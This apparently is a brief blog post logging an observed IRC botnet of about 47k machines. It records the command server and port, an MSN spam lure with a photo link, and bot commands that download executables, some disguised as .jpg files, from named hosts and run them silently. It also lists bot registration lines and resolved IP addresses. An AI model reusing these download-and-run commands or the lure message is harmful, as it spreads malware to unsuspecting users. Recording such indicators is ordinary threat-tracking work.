very large botnet estimated around 47k
Remote Host Port Number
msnrulz.hi5photos.us 1986
.msn.msg Luck Your Photo hahaha :D:D www.hi5-msn.co.cc/photo.php?id=
.r.getfile http://198.87.2.13/tmp123.exe c:thp.exe 1 -s
.r.getfile http://hi5gallery.net/cu.jpg c:bla.exe 1 -s
.r.getfile http://hi5gallery.net/gur.jpg c:gtb.exe 1 -s
NICK [00|USA|280293]
USER XP-5404 * 0 :COMPUTERNAME
Resolved [msnrulz.hi5photos.us] To [67.202.33.148]
Resolved [msnrulz.hi5photos.us] To [85.131.154.57]
Categories: Uncategorized